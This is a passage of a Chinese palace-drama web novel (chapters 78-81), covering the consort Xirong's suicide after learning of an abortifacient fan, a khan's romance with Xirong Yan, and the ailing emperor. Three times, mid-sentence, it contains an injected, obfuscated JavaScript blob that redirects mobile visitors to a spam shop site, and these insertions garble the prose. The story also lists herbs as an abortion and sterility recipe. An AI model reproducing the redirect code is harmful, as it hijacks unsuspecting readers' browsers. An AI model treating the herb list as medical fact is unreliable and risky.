“无妨。”魏帝用袖子掩着,咳了半日才止住,他觉得喉头有些咸腥,借着月色一瞧,只见袖口血迹斑驳,不由笑道,“哈哈,这倒真成了梅花了。” 李义不知发生了何事,也不敢问,只是劝道,“陛下,夜里风大,您这几天一直吃不好睡不好,周太医嘱咐奴才一定要仔细,您的身子眼下经不得吹啊,奴才还是扶您回去吧。” “也罢。”魏帝扶着李义的手缓缓起身,他一动,弦上的花瓣在寂静的夜里擦出了一道哀音,随之飘落无踪。 魏帝才走了几步,忽又站住,“李义,朕处置席容一族的旨意下了吗?” 李义揣度着魏帝的心思,“还没,陛下要再看看吗?” “不必了。”魏帝回头注视着那架秋千,良久方道,“马上就要入夏了,许多事,也该有个了结了,明儿一早就颁旨吧。” “是。”李义埋着头,风从领口潜入,他只觉浑身都寒津津的,不由得倒抽一口凉气。 78. 牡丹溅残红 仪鸾宫。 粉彩牡丹纹凤尾尊里供着的大红牡丹早已枯萎,风一吹,沙沙作响。 席容皇贵妃小指上的伤口刚刚有了愈合的迹象,她拧眉端详了一阵,还是将指腹咬破,把那鲜红颜色抹在了嘴唇上,还未等她涂匀,便听见了脚步响。她心中一喜,下意识跑过去,可还没等跑到门口,又不自觉往后退了两步。 门被推开,席容皇贵妃不假思索地跪下,声音中掺着一丝慌乱,“臣妾恭迎陛下。” 来人轻笑,“哈哈哈,你还真是不死心呀。” 席容皇贵妃闻言,错愕地抬起头,原来是魏皇后扶着云英的手走了进来。 魏皇后居高俯视着她,语中不乏嘲弄之意,“许久未见,妹妹风采依旧。” 席容皇贵妃蹭一下站起身,“怎么是你?皇上呢?本宫要见的人是皇上!” “妹妹想见皇上,可惜,皇上不想见你。” “哼,本宫与皇上多年恩情,皇上不会不顾惜的,你就不要挑拨离间了。” “哦?是吗?”魏皇后绕着她走了一圈,“那为什么今日来的人不是皇上,而是本宫呢?” 席容皇贵妃咬着牙,一时竟也答不上来。 “本宫来告诉你为什么,因为,皇上对你从来就没有过什么真情。” “不,你在胡说!”席容皇贵妃一步步地逼近魏皇后,“你给本宫滚出去!” 云英挺身挡在魏皇后身前,“放肆!你一个弃妇,也敢对当今皇后大不敬!” 席容皇贵妃仰天大笑,“哈哈哈哈!弃妇?皇后?” 她笑够了,忽地拿手指向魏皇后,“你位居中宫,贵为皇后,可皇上去过你那里几次?一个女人,如果连一个男人都留不住,就只能守着那点可怜的名分自欺欺人,你才是弃妇!” 魏皇后眼中陡然闪过一抹凶光,她冷笑道,“你说的不错,皇上待我的确没有多少情意,可我不在乎,因为我知道,我要的从来就不是皇上的真心。我不像你,身在局中却全然不知,这才是最可悲的。席容琰,你以为皇上真的爱过你吗?” 席容皇贵妃死死盯着她,“你到底想说什么?” 魏皇后抬眼扫了一圈,目光最终落在了枕边的那柄玉骨缂丝团扇上。 “哟,这个扇子你还留着呢,云英。” 云英上前拾起扇子,递给魏皇后,席容皇贵妃神色紧张,“这扇子是皇上赏给本宫的,你要敢碰坏一点,本宫跟你拼命!” 魏皇后从头上摸了一支簪子,“你放心,本宫不会弄坏你的宝贝的,本宫只是想告诉你一件事,一件本宫不说,你永远都不可能知道的事。” 魏皇后说着,便用簪子在扇骨底部转了三圈,只见那扇骨松动,露出了一个机关,她从中空的扇骨里倒出了细小的粉末,摊在掌心,“妹妹还不知道吧,你这扇子里藏着好东西呢。” “这是什么——” 魏皇后蔑然一笑,“妹妹别急呀,这里的东西可多了去了,我得一样一样,细细讲给你听。说起来,这还真是一张良方,斑蝥可以破血逐瘀,麝香可以活血散经,巴豆可以破积逐水,红娘可以攻毒通瘀,凌霄可以凉血祛风,这几味药加在一块儿,可是打胎绝育的好方子。妹妹,你说,我们两个,究竟谁是弃妇,谁更可怜?” 席容皇贵妃不可置信地盯着那柄团扇,“不,你骗我,你在骗我!如果真的如你所言,你怎么敢把这害人的东西倒在自己手上,你一定是在骗我!” “哼。”魏皇后扑了扑手,将粉末倒在了一块帕子上,“本宫骗你做什么,你都是要死的人了,你要是不信,随便传个太医,一问便知。本宫敢碰这些脏东西,一是因为本宫已经有了皇子,不在子嗣上有所求,二则,这都过了十来年了,再怎么厉害的药效也该淡了。” 席容皇贵妃木然呆立,“这把扇子是皇上送我的,皇上,不,这不可能!这不可能!” “其实妹妹原也是个通透人儿,怎么事情落到了自己身上,就这样的不明白。皇上宠你,无非是想借助你父亲的野心平衡朝中势力,或许,皇上对你也曾有过真心,可是在朝政稳固面前,那点儿真心又能值多少?你也不要怪皇上,他也是为了你好。你可知道,当年你有了身孕,皇上几次想把你的孩子打掉,都没狠下那个心,为此彻夜难眠,还是本宫给皇上出的主意,让太医给你仔细诊了好几次脉,确定是个女孩,这才留下了,说起来,你该谢谢本宫才是。皇上也是不想再有这样的事情发生,这才赐了你这柄团扇。” “皇上——”席容皇贵妃嘴角勾起一个凄惨的弧度,“哈哈哈哈,皇上——” 魏皇后看着她的疯癫模样,心中实在痛快,她随手扔了扇子,转身走了两步,忽又停下,“对了,还有一事,我觉得你一定想知道。” 席容皇贵妃充耳不闻,兀自对着扇子傻笑。 “皇上今早下了旨意,席容弥德、席容弥辉秉性顽劣,纵着家中奴仆逞凶作恶,秋后问斩,席容珍、席容玲随军流放,李茂和李莲蔚都被罢了官,贬为庶人,席容珵因为嫁给了李莲蓉,本来可以免去一死的,可惜呀,她是个刚烈性子,自己上吊自缢了,李家忌讳席容家的事儿,连她的尸身都不敢收殓,一张破席草草卷了,就扔到乱葬岗去了。还有呢,席容家三族之内的人全部流放,九族之内的人永世不得为官。妹妹,你们席容一族啊,就算是完了。” 魏皇后说完,头也不回的离开了,她跨过横木,两个侍卫恭敬行礼,“皇后娘娘。” “你们两个给本宫记清楚了,本宫从未来过仪鸾宫,否则,你们一家老小就都别想活了。” 两个侍卫忙不迭应声,“是,是。” 大殿的门没有关,风肆意地涌了进来,可席容皇贵妃感受不到一丁点的寒意。她的脸色苍白,仿佛一下子被抽走了所有的魂魄,就连唇上的那抹殷红也是惨白骇人。她慢慢地爬到扇子旁边,那把扇子明明那么轻,可她却使了好大的力气才捡起来。 “陛下——” 她笑了,笑的满脸都是热泪,她费力地伸手去够窗下的凤尾尊,一下,两下,三下……终于,“啪”的一声,瓷片碎了一地,干枯的牡丹碎了一地,她心里的某些东西也碎了一地。 殷殷的鲜血溅在了双交四椀菱花的窗格上,仿佛梅花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502786|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朵朵,在冷冽的枝丫上短暂盛放。 处置席容一族的旨意才下,魏帝就病倒了,他昏迷了三天三夜,苏醒后说的第一句话是,“琰儿,你别怪朕。” 魏皇后正在榻前侍奉汤药,见他醒了,忙道,“陛下可算是醒了,臣妾都担心坏了。” 云英道,“陛下不知道,在您昏迷的日子里,一直是皇后娘娘衣不解带,悉心照料。” 魏帝迷迷糊糊喝了一勺,“这些日子辛苦皇后了,你回宫歇着吧,这儿有李义呢。” “没事的,臣妾愿意为陛下做这些事。” 魏帝微笑道,“不必了,回去吧。” 魏皇后的手滞了片刻,终于还是放下了汤药,“那陛下好生养着,臣妾就先告退了。” “嗯。” 魏帝见她走了,便唤,“李义!” “奴才在。” “你去仪鸾宫,就说,就说——”魏帝眉头紧蹙,想了半日也没想出来,“就说——” 李义嗫喏着说,“陛下,您病了几日,有件事儿,您恐怕还不知道。” “什么事儿?” “席容皇贵妃——”李义“扑通”一声跪倒在地,“陛下您得节哀呀,席容皇贵妃薨了!” 魏帝一言不发,像是没有听清楚他说的话。 “陛下——” “你——再给朕说一遍——” 李义喘着粗气,“奴才是说,席容皇贵妃薨了!” “胡说!”魏帝忿然拂袖,汤药溅了李义一脸,李义连躲也不敢躲,悲戚哭道,“席容皇贵妃用碎瓷片割破了脖颈,等守门的侍卫发现的时候,席容皇贵妃已经没气儿了。” 魏帝艰难地吞下吐沫,“什么时候?” “午时,就在陛下病倒的第一日。” “琰儿死前,都有谁去过仪鸾宫?” “这,这奴才也不知道,那时候陛下刚刚病倒,奴才,奴才实在是没心思管旁的事呀,陛下恕罪!” 魏帝眼角猩红,声音嘶哑,“查!你去给朕查!” “陛下,皇后娘娘已经处死了仪鸾宫守门的侍卫,说是他们办事不力,没有看顾好席容皇贵妃,如今再怎么查,也是死无对证了。” “是啊,人都死了,再查还有什么用。”魏帝阖上眼睛,将泪水扼杀在不为人知的地方,“琰儿,是朕对不住你,是朕,害死了你。” “陛下别这么说,那席容炎作恶多端,他犯下的那些事儿,您就是灭他九族也不为过,您留席容憧一条性命,已经是法外开恩了,席容皇贵妃断然不会因此怪您的,若她真是为了此事自缢,那也不值得陛下为她伤心难过。陛下若是心有怜惜,好生拟个谥号,将其厚葬,也就是了。陛下千万不要为了此事伤悲,损了自己的龙体呀。” 魏帝缄默良久,“李义,扶朕起来,朕要去仪鸾宫送一送琰儿。” “这——陛下这些日子病了好几场,太医说,您不宜再有大喜大悲的,要不——” 魏帝红着眼睛,一字一顿,“朕说,扶朕起来!” 李义不敢违拗,只得上前扶住了他,“陛下,慢点。” 79. 皎皎云间月 日色昏,沙如雪,寒星勒住缰绳,望着广袤的大漠长舒一口气。 “阿烟,我们到了。” “嗯。” 寒星仔细瞧着她的眉眼,“你不高兴?” 席容烟淡淡笑了笑,“高兴,和你在一起,我高兴。” “那就好——” 一语未了,便听风声裹挟着尖厉,疾速扑来。 沙吾提惊呼,“大汗小心!” 寒星迅速压下席容烟的肩头,用自己的身子把她整个罩住,箭从他们的头顶呼啸而过,二人挨得那样近,他的唇几乎贴到了她的唇上,席容烟的心怦怦直跳,犹如鼓点。 箭雨散去,寒星直起了身子,似笑非笑的说了句,“抱歉。” 席容烟垂眸,并不看他,“追兵来了,你还有心思捉弄我?” “也有道理。”他尚未说完,已觉身侧寒光凛凛,他霍地抽出青霜剑,两箭交错之际,寒星一眼就认出了来人,他笑了笑,“原来是你呀。” 袁青上次和他交手的时间不过匆匆数秒,又恰好时值深夜,因此袁青并未看清他的容貌,此刻听他如此说,也觉得有些眼熟,却又想不起来在哪里见过。 “你到底是谁?” “我是谁——”寒星的嘴角勾出一个轻蔑的弧度,“哼,你赢了我,我就告诉你。” 苍蓝色的长袍随风劲舞,寒星心里攒着怒气,誓要报上次的一剑之仇,而袁青因为害怕误伤了席容烟,反倒落了下风,寒星瞧出了他的顾忌,冷冷一笑,下手更加狠厉。 袁青躲闪不及,一个收剑的功夫,披风就被寒星挑了下来。 寒星斜眼睨视着他,“这儿是西域地界,你知道,西域盛产什么吗?” “什么?” 寒星眉眼含笑,一字一顿,“脱衣舞姬。” “呸,放你娘的屁!”袁青气急败坏,从马背上一跃而起,剑锋直指寒星。 寒星将席容烟护在身后,不紧不慢地举剑格挡,“小子,和我比剑,你还嫩了点。” 袁青因为心中急躁,失了章法,一击不中,反被寒星打下了马。 那边的沙吾提冲出重围,操着大刀向袁青砍去,“大汗,我来助你一臂之力!” 袁青在地上翻了好几个滚,才没被沙吾提的刀伤到要害,只是手背被沙砾擦破了皮儿。 “咳咳——”黄沙呛进喉咙,袁青顾不得吐出来,忙又举剑和沙吾提缠斗在一起。 寒星眼神冷峭,一个飞身,手中的剑便抵在了袁青的脖颈间。 席容烟大喊道,“不要杀他,寒星,他救过我的性命,请你饶他一命。” 寒星动作一顿,清冷的骨节轻轻敲击剑柄,“袁青,告诉我,你是怎么找到这里来的?” 袁青瞪了他一眼,没有说话。 寒星冷笑,他拿剑挑起袁青的下巴,迫使袁青看着自己,“说,说出来,我就放你一马。” “你真想知道?” “嗯。” “好啊,我告诉你,是寒木,是你的那个好兄弟告诉我的。” “你胡说。” “你爱信不信。” 寒星略作思量,收剑入鞘,“罢了,你走吧。” 袁青狐疑地抬头看他,“你真不杀我?” 寒星一甩袖子,翻身上马,“阿烟替你求情,我自然要给她一个面子,你回去告诉你家主子,阿烟从今往后就是我的人了,叫他趁早死了这条心吧,还有——”寒星侧头盯着他的眼睛,目光如鹰隼般锋利,“你给我记住了,我和寒木是过命的交情,挑拨离间的那一套对我没用!袁青,收起你的鬼祟心思,你别忘了,咱俩还有一笔帐没算呢。我这次放过你,是为了阿烟,下次再让我碰到你,我可要和你好好理一理这笔账,绝对不会再手软!驾!” 黄沙滚滚,踏雪玉狮化作一道银光,顷刻间载着二人绝尘而去。 袁青吐掉嘴里的沙砾,凝眸看着一行人的背影,寒星的话倒是提醒了他,他握紧拳,“我想起来了,你就是那晚杀死刘言敬,后又逃进宰相府的刺客!你果然和宰相府有干系!” 三人抵达营帐时已是深夜,皓月当空,西风猎猎,尧里瓦斯、艾山一左一右,列阵相迎。 “恭贺大汗凯旋!” 寒星语气轻松,颔首致意,“辛苦两位将军看家,大魏最近可有什么异动?” 艾山上前一步,“回大汗,这段时间,我们和大魏还算相安无事,倒是北疆那边有两股小兵时不时来骚扰一下,不过大汗放心,他们都是乌合之众,不堪一击,我带人狠狠收拾了他们一顿,现在那帮人看见咱们的人马,比孙子还服帖呢!哈哈哈哈!” “哈哈哈,干得漂亮,不愧是猛将尧里瓦斯的儿子,本汗没有看错人。” 尧里瓦斯面色平静,他瞧见席容烟,问道,“大汗,这个女人是——” 寒星一笑,单手抱着席容烟下马,“本汗来介绍一下,她叫席容烟,从今往后就是本汗的阏氏了,你们待她要向对待本汗一样恭敬有礼。” 尧里瓦斯不发一言,只是上下打量着席容烟。 艾山看向跟在寒星身后的沙吾提,沙吾提不自在地冲他笑了笑,随即转头看向别处。 片刻安静之后,人群中响起了一阵起哄的声音,“大汗,你这次冒险去大魏,不会就是为了这位美人吧?” 艾山斥责,“别胡说,大汗去大魏是为了探查他们的军事状况,救人只是顺手罢了。” “不错,本汗此行,不光摸清了他们的粮食储备,还带回了一支精锐部队,若无意外,估摸着明日也就到了。沙吾提,你和寒木打过照面,到时候,你带他熟悉一下这里的环境。” “是,属下明白。” 尧里瓦斯略带探究的目光在席容烟身上停留了片刻,终究还是没再说什么。 西域的将士都好奇地打量着席容烟的模样,他们想不明白,会是怎样的女子,能让他们的大汗不顾自己的安危,以身犯险,只身潜入大魏营救。 席容烟还是第一次面对这么多西域人的窥视,她心中有些慌乱,却还是努力做出了镇定的样子,坦然的微笑相视。 寒星扫了一眼周围的人,十分霸气地将席容烟搂入怀中,宽大的袖袍遮住了她的容颜,“记住了,本汗的女人,只有本汗能看!” 众人低下头,自觉地为他们让开了一条路,寒星就这么抱着她径直走进了王帐。 “放我下来。” “不放。” 席容烟的脸不知道是因为气愤还是害羞的缘故,红得像是一个小太阳,“寒星!” 寒星坏坏笑着,“我喜欢你叫我的名字,你再叫一遍,我爱听的。” 席容烟咬牙,“寒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502787|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星,你放我下来,我自己能走。” “不,阿烟,我不想放开,我抱着你,我才能真切的感受到,你在我的身边。” 席容烟默了片刻,缓缓解开自己的衣带,寒星一愣,别过脸去,“你干什么?” 席容烟没有理他,继续手中的动作,“寒星,你看。” 寒星不敢睁眼,“阿烟,我们还没举行昏礼,不行。” 席容烟“扑哧”一声笑了出来,“想什么呢,我是让你看这个!我一直贴身收着来着。” “啊?”寒星把眼睛睁开一条缝,只见席容烟正举着同心结冲他笑。 “嗐,这个呀,我还以为——” 席容烟把脸凑的近了些,“以为什么?” 她的眸子亮晶晶的,外面镀上了一层稀薄的月光,里面仿佛藏着星空,一眼望不到底。 寒星只觉得,有什么东西在心里化开,他再也克制不住,抱着她就往里面走。 “阿烟,我不想等了,我等了太久太久,我不想再等了。” “阿星,你——” 他的唇堵住了她的话,多少个日夜,多少次思念,不可名状的东西在空气中氤氲流淌,“阿烟,你知道吗,你就是我的山间雪,云间月,心上人。” “等,等一下。” “怎么了?” “寒星,我有一个问题要问你。” 他的衣裳褪了一半,此刻松松搭在肩头,“问!” “你爱我吗?” “这不废话!” 他再次吻了上去,这个吻是那样的热烈,仿佛在告诉她,你瞧,我爱你爱的多么用力。 “嘶——”腥甜在唇齿间逸散,他舔去血迹,“阿烟,你是属狗的吗,怎么这么爱咬人?” 她趁机从他的身下挣脱出来,费力喘了口气,眼神格外委屈,“这能怪我吗,我不咬你,你也不让我说话呀!” “哈哈哈哈,你说,随便说,我保证好好听就是了。” “那好,我来问你。” 席容烟望着他,眼底清澈如水,“寒星,你告诉我,什么是喜欢,什么是爱?” “嗯——喜欢——爱——阿烟,老实说,我不知道。” 她瞪了他一眼,“那你还敢说你爱我?” 他揉了揉她的脑袋,“阿烟,在遇到你之前,我从来没对世间任何一个女子动过心思,直到我遇见了你。我不知道什么是爱,但我知道,我想保护你,我想任何时候都在你身边,我想和你一起欢喜,一起伤悲,我甚至愿意为你舍弃性命,这,或许就是爱吧,还有一点,”他凑在她的耳边,温热的气息拂过她的脸颊,痒痒的,酥酥的,“我的身体,只有你能捂热。” “你——” “嗯,我,我怎样?” “不怎样,那你会一生一世对我好吗?” 寒星突然笑了,“阿烟,你要我怎样,你才能相信,我爱你,很爱,很爱。只要你愿意,这辈子,下辈子,我都会用生命守护你。” 席容烟默不作声,她的睫毛微垂,眼角,一颗晶莹剔透的泪珠滚落。 “你别哭呀,我是不是说错话了,我给你赔罪,阿烟,都是我不好,你别哭了。” 她没有说话,只是仰起脸,默默抱住了寒星。 泪水滴答滴答地落在寒星的肩头,他的心,都要碎了。 80. 盈盈心上人 良久,她松开了他,“寒星,我自幼丧父丧母,流落街头,后来虽然进了宰相府,也是一丝亲情都未曾感受到。你知道吗,每当夜深人静的时候,我都会做噩梦,我一次次梦到大火里的叫喊哭号,梦到四周死寂一片,只剩下我孤零零一个人。我真的很怕,怕你有一天会抛下我,会不管我。不知道从什么时候起,你在我的心底种下了一颗爱的种子,生根发芽,越长越大,可我不敢由着它恣意生长,我怕,我太害怕了。” 寒星爱怜地吻着她冰凉湿润的眼睑,“阿烟,你不要怕,我寒星在此立誓,除非有一天你不要我了,不然,我这辈子都不可能放手的。” “不,我不是怕这个。” “那你怕什么?” 席容烟抬眼凝视着广袤浩渺的星空,声音清冷灵透,“怕月亮西沉,怕雪色沉寂。” 寒星心里五味杂陈,不知该说些什么才好,半晌,他穿好衣裳,又用自己的袍子裹住她。 “你这是要做什么?” “带你去个地方。” 寒星抱着她走出王帐,吹哨叫来了踏雪玉狮。 四蹄纵跃,溅起的黄沙清清爽爽擦过鬓发,风一吹,苍蓝色的袍子翻飞,席容烟清晰地分辨出寒星身上的气息,这种感觉很难形容,大抵就是天山上零星的碎雪淹留在风中的味道。 寒星松松拥着她,他的胸膛宽阔厚实,她靠在上面,仿佛就拥有了全天下最大的依仗。 “你要带我去哪?” “天山。”寒星顿了片刻,补充道,“那是人世间最圣洁的地方。” 清透的天池掩映在荒漠中,仿佛一弯眼泪坠落在大地的心脏,黑瘦的脊梁在云间沉浮,虽然快入夏了,山的尖峰还是残存了一抹冬日遗留的白雪。 席容烟惊喜地看着眼前景色,感叹道,“哇,这里好美呀!” 寒星下马,向她伸出一只手,“阿烟,我想让父亲母亲知道我娶到了心爱的人,我想让天山的神明见证你我不老的誓言,你愿意和我一起吗?” “好啊。”席容烟笑了笑,她并拢三指,郑重道,“我席容烟今生今世都会与寒星相知相守,白头偕老,永不分离。” 寒星面朝天山,拉她跪下,“我寒星今生今世,三生三世,永生永世,都会爱她,敬她,生死与共,永不分离!” 席容烟听了这话,回眸看向寒星,“永生永世,会不会太长了些?” “不会,我只嫌太短。”他说着,便吻了上去,眸中蓄着望不尽的深情。 星汉涌动,素练飘悬,夜空中回荡着二人一年前的誓言—— “好,我寒星在此立誓,此生只娶席容烟一人,往后余生,永不相负。” “漫天神佛为证,我席容烟此生只嫁寒星一人,往后余生,永不相负。” 二人相视一笑,仿佛一切都从未改变。 席容烟半蹲下身子,掬了一抔天池的水,漪澜微动,天上的星子在她的掌心荡漾开来,她欢喜地看着汩汩清流绕过指尖,笑着说道,“寒星,我要送你一样礼物。” “嗯?什么礼物?” “你先转过身去。” “什么礼物呀,神神秘秘的。” “快嘛。” “好吧好吧。” 寒星无奈地转过了身子,过了一小会儿,便听席容烟的声音从远处传来,“可以啦。” 他回眸,却并未寻见席容烟的身影,不免有些着急,“阿烟?你在哪里?” 席容烟冲他招了招手,“我在这儿呢——” 寒星循声看去,不觉惊呼,“我的天——” 水声淙淙,月色溶溶,席容烟赤裸着身子立在水中,黑发如裳,披裹在流滟白皙的肩头。 寒星怔怔立着,不敢相信自己看到的一幕。 “阿烟,你——” “寒星,今晚,我就是你的礼物,我要把自己送给你。” 清辉浮动,她的肌肤嫩滑润洁,便是天上的皓月,同她一比,也失了些许光彩。 寒星没有办法抑制住自己身体的本能,他一步一步浸入水中,“阿烟,你别后悔。” 席容烟莞尔一笑,“阿星,我不后悔。” 涟漪微漾,夜幕缓缓沉入月白色的池底。 水天一色间,夹杂着二人耳鬓厮磨,缠绵悱恻的叠影。 钩月西移,一尾狂风撕过,夜,未央,血,漫结成花。 爱意漾化了,荡碎了,伴着一声声的喃喃低语,一遍遍的抵死纠缠。 “好痛——阿星——” “我在——”他附在她的耳旁,含混不清地重复着,“阿烟,我爱你,我好爱你。” 她的脸颊挂着光洁的珍珠,他分不清楚那是泪水还是月色。 她皱着眉,一字一顿,“寒星,你这辈子若是敢辜负我半分,我一定要你用性命来偿还。” 他用力拥住她,水波流转间,将她再次送上云霄,“阿烟,你现在就是在要我的命。” “可是,我要你的命,为什么痛的人却是我自己?” 寒星垂眸,眼中是化不开的绵绵情意,“阿烟,慢慢就好了,相信我。” “鬼才相信你的话——” “是嘛,那阿烟岂不成了鬼了,不过,阿烟就算变成了鬼,也一定是最最最好看的女鬼。” 郁郁葱葱的叶子笼罩住翻涌的水面,不知过了多久,东方终于露出一抹淡淡的鱼肚白。 席容烟仰倒在寒星有力的臂弯里,晶莹的发丝顺着细密的汗珠紧贴下颚。 寒星低头吻她的眉心,一遍又一遍。 “阿烟,你终于是我的人了。” 席容烟不服气地看他一眼,“谁是你的人?” 寒星唇角勾起了一个坏坏的弧度,他的声音得意而又慵懒,“好啊,你还敢嘴硬,天还没亮,要不我们再来一次,也好让为夫告诉你,你到底是谁的人。” 席容烟原本微阖着眼,一听这话,不免紧张起来,她往后缩了缩身子,“寒星,你敢?” “我当然敢。”寒星松松一拽,便将她拽回了自己的怀里,他肆无忌惮地打量着席容烟裸露的肌肤,神情中透露着危险,仿佛在看势在必得的猎物,“阿烟,我保证你会快乐的。” 水面下,灼热的气息不受控制的漫延开来,她的脸被这股热流烫得通红,终于软了下来,“阿星,我累了,我真的累了,你饶了我吧。” “现在知道服软啦?之前不是很硬气么?” 席容烟委屈巴巴地看着他,“我不硬气了还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502788|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不行嘛——” 寒星促狭一笑,摇了摇头。 “你摇头是什么意思?” 他用修长的手指捏住她的下巴,往水下使了个眼色,“意思是,我说了不算,你得问它。” 她怔了片刻,旋即反应过来,“你,你真是卑鄙无耻下流!” “哦,既然如此,我就更不用顾忌什么了。” “不,等下,等下,我说错了,我重新说。” “嗯——”寒星微微乜着眼,摆出一副苦口婆心的模样,“好好说哦,千万别再说错了。” 席容烟深深吸了口气,勉强压制住心头的怒气,换了一个乖巧的样子,哄他道,“两情若是久长时,又岂在朝朝暮暮,日子还长,你急什么呢,阿星,你放过我这一次吧。”[1] “哈哈,好吧,我今天就饶过你,那你说,你是谁的人?” 席容烟脸颊微红,“我——” “快说。” “哎呀,”她把脸埋进寒星的肩头,“我把身子都给你了,你说,我是谁的人?” 寒星轻轻抚摸着她光洁腻滑的肌肤,“阿烟,你是我的人,我也是你的人。” “欸——”她笑着问他,“正所谓礼尚往来,我把自己送给了你,那你送我什么呀?” “我不也把自己送给你了嘛?” “切,谁稀罕,这个不算的。” 寒星脸上浮现出思索的表情,“那你想要什么?” 席容烟俏皮一笑,“我不告诉你,说出来就没意思了,得让你自己猜出来才行。” “好吧,让为夫好好猜一猜,我的阿烟想要什么。” “嗯。” “有了!”寒星一下子坐直身子,“阿烟,我把西域送给你,好不好啊。” 席容烟没反应过来,“你说什么?” “西域,我把整个西域都送给你,我们一起做西域的王,你要是嫌不够,等为夫将来打下了天下,再把这整个天下也送给你,如何?” 席容烟苦笑,“我一个女子,我要这天下做什么?” 寒星有些糊涂了,“那你想要什么?” 她伸出食指,往他的心口处轻轻戳了一下,眉眼含笑,“阿星,我想要你的心。” “哈哈哈。”寒星牵起她的手,放在了自己的心口处,“那阿烟岂不是吃亏了,我的心早就已经是你的了,再说个别的吧。” 席容烟抱住他,摇了摇头,“人不能贪心的,我只要你的心,下辈子我管不着,我只要这辈子,它是完完整整属于我的,就够了。” 寒星伸手揉了揉她披散的乌发,叹道,“净说傻话。” “没有啊,我说的,都是我的真心话。”她重新仰倒在他坚实有力的臂弯中,脸上洋溢着幸福灿烂的笑容,“阿星,你知道吗,今夜,天上没有星星,可我,枕在了星河里。” 他听了这话,歪头注视着她的眼睛,郑重其事地说,“阿烟,你放心,从今往后,我就是你的星星,无论天有多黑,我都会照亮你,只照亮你一人。” 他等了半晌,见她没有答话,才发现她的呼吸平稳,已然沉沉睡去。 他如释重负地笑了笑,像是在对她说话,又像是自言自语,“阿烟,对不起,我爱你。” 81. 是非微尘里 长乐宫。 “李公公。” 李义闻声,执着拂尘迎了出来,“太子殿下。” 魏晗烨颔首,“李公公,父皇在里面吗?” “在的,只是陛下现在正歇中觉呢,您怕是得等一会儿了。” “无妨,孤等着就是了,袁青,你先在外面候着。” “是。” 李义挑起帘子,“殿下请。” 魏晗烨脚步微顿,“父皇的病近日可有起色?” 李义想了想,微微摇头。 “太医们怎么说?” “说是心病,治是治不好的,只能慢慢养着。” 魏晗烨叹了口气,探身进去。 金灿灿的帷带垂落,魏帝躺在小叶紫檀床上,眼眶青黑,脸色蜡黄。 魏帝从仪鸾宫回来就病倒了,因为连日缠绵病榻,肉眼可见地瘦了好些,魏晗烨端详着他花白的鬓发,苍老的容颜,心中一时百感交集。 魏晗烨知道,魏帝是因为席容皇贵妃的骤然薨逝,才会哀恸至此,无药可医。他只觉得可叹可悲,这个男人贵为九五之尊,却还是不能由着自己的心意行事,那张盘金缀锦的龙床好像一个硕大的牢笼,就这么困住了这个男人的一生。 魏帝服了安神的汤药,才能勉强入睡,可即便是在梦中,他的眉头也是紧锁的,时不时发着呓语,声音含混不清,听来仿佛是“烨儿”这两个字。 魏晗烨以为他在叫自己,忙凑上前去,紧紧握住他的手,“父皇,儿臣在这儿。” “不。不!”魏帝挣扎起身,猛地睁开了眼,口中直呼,“琰儿!” 魏晗烨一僵,他这才反应过来,原来魏帝方才在睡梦中一直喊的都是席容皇贵妃的名字。 魏晗烨勉力一笑,“父皇,您醒了。” 魏帝喘着粗气,用袖子拭了拭额头的汗珠,他看着魏晗烨,虚弱道,“烨儿,你来了。” “儿臣处理完了政务,就想着来看看父皇。” “嗯,朕一直病着,正想要问你,最近朝堂上可还太平吗? “还好,有了席容炎的前车之鉴,那些大臣都消停了不少。” “如此,朕也就放心了。”魏帝颔首,“烨儿啊,朕病了好些日子,恍恍惚惚间,倒也想明白了许多事。等朕身体好些了,朕想去西山的六净寺待上一段时间,那地方清幽干净,最适合修身养性。这天下,朕从今往后就交给你了,你要做个好皇帝,无愧百姓,无愧尔心。” 魏晗烨听了一惊,“父皇,儿臣还年轻,还得多历练,这天下,儿臣是万万受不起的。” “这天下,朕早晚是要交托到你手上的,只是早一点或是晚一点罢了。烨儿,你不要怕,也不要抗拒,你要知道,多少人想抢这个位子还都抢不到呢。” “父皇,儿臣……” 魏帝拍了拍他的手,“朕知道,你在怕什么,可是烨儿,人世间没有十全十美的事情,缘聚缘散,月圆月缺,都是寻常事,你生在帝王家,便要担起这份责任来。朕从马背上为你打下了这个江山,朕如今将它清清白白的交给你,你要好好守护它。” 魏晗烨定了定神,终于跪下叩首,“父皇放心,儿臣一定会抚内安外,爱民如子,任闲用能,励精图治,绝不会辜负父皇的重托。” 魏帝微微一笑,“好孩子,朕相信你会是一个好皇帝的,在此之前,朕有几句话嘱咐你。李义,你带他们下去吧。” “奴才明白。” 